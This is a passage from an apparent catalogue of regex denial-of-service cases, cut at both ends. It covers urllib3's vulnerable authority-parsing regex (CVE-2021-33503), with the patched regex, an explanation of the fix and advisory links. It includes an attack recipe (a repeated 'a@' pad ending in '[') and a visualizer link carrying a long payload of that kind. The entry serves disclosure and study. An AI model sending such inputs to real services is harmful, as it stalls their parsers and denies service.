Goldschmidt","regex":"^(?:(.*)@)?((?:[^\\[\\]%:/?#]|%[a-fA-F0-9]{2})*|(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|\\[(?:(?:[0-9A-Fa-f]{1,4}:){6}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|::(?:[0-9A-Fa-f]{1,4}:){5}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}:(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}|(?:(?:[0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})?::)(?:(?:%25|%)(?:[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._!\\-~]|%[a-fA-F0-9]{2})+)?\\])(?::([0-9]{0,5}))?$","flags":"su","complexity":"quadratic","attack":{"prefix":"","pad":"a@","suffix":"[","sizes":[250,500,1000,2000]},"benign":"user:pass@host.example.com:8080","fix":{"type":"algorithm-change","summary":"urllib3 split a URL's authority (the `user:pass@host:port` part) with `SUBAUTHORITY_RE`, whose leading `^(?:(.*)@)?` optionally captured everything up to an `@`. Because the host alternation that follows can also consume most characters, an authority containing many `@` characters followed by one the host cannot match (e.g. `[`) makes the engine try every possible split of `(.*)@`, giving quadratic backtracking. 1.26.5 removes the `(.*)@` group from the regex entirely: `parse_url` now does `auth, _, host_port = authority.rpartition('@')` in plain string code and matches only the host/port with the linear `_HOST_PORT_RE`, so no amount of `@` characters can trigger backtracking.","patched_regex":"^((?:[^\\[\\]%:/?#]|%[a-fA-F0-9]{2})*|(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|\\[(?:(?:[0-9A-Fa-f]{1,4}:){6}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|::(?:[0-9A-Fa-f]{1,4}:){5}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}:(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:[0-9]{1,3}\\.){3}[0-9]{1,3})|(?:(?:[0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}|(?:(?:[0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})?::)(?:(?:%25|%)(?:[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._!\\-~]|%[a-fA-F0-9]{2})+)?\\])(?::([0-9]{0,5}))?$","commit":"https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"},"description":"urllib3 is the most widely used HTTP client library for Python (a dependency of requests, pip and much of the ecosystem, hundreds of millions of downloads per month). Any code that calls urllib3 on an untrusted URL — following a redirect, expanding a user-supplied link, proxying a request — parses the URL's authority with this regex. A URL whose authority is a long run of `@` characters ending in one the host grammar rejects hangs the parser with quadratic-time backtracking, stalling the calling thread or worker.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-33503","https://github.com/advisories/GHSA-q2q7-5pp4-w6pg","https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(%3F%3A(.*)%40)%3F((%3F%3A%5B%5E%5C%5B%5C%5D%25%3A%2F%3F%23%5D%7C%25%5Ba-fA-F0-9%5D%7B2%7D)*%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D%7C%5C%5B(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B6%7D(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C%3A%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B5%7D(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B4%7D(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%3F%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B3%7D(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B0%2C2%7D%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B2%7D(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B0%2C3%7D%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B0%2C4%7D%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A%5B0-9%5D%7B1%2C3%7D%5C.)%7B3%7D%5B0-9%5D%7B1%2C3%7D)%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B0%2C5%7D%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%7C(%3F%3A(%3F%3A%5B0-9A-Fa-f%5D%7B1%2C4%7D%3A)%7B0%2C6%7D%5B0-9A-Fa-f%5D%7B1%2C4%7D)%3F%3A%3A)(%3F%3A(%3F%3A%2525%7C%25)(%3F%3A%5BABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._!%5C-~%5D%7C%25%5Ba-fA-F0-9%5D%7B2%7D)%2B)%3F%5C%5D)(%3F%3A%3A(%5B0-9%5D%7B0%2C5%7D))%3F%24&in=a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%40a%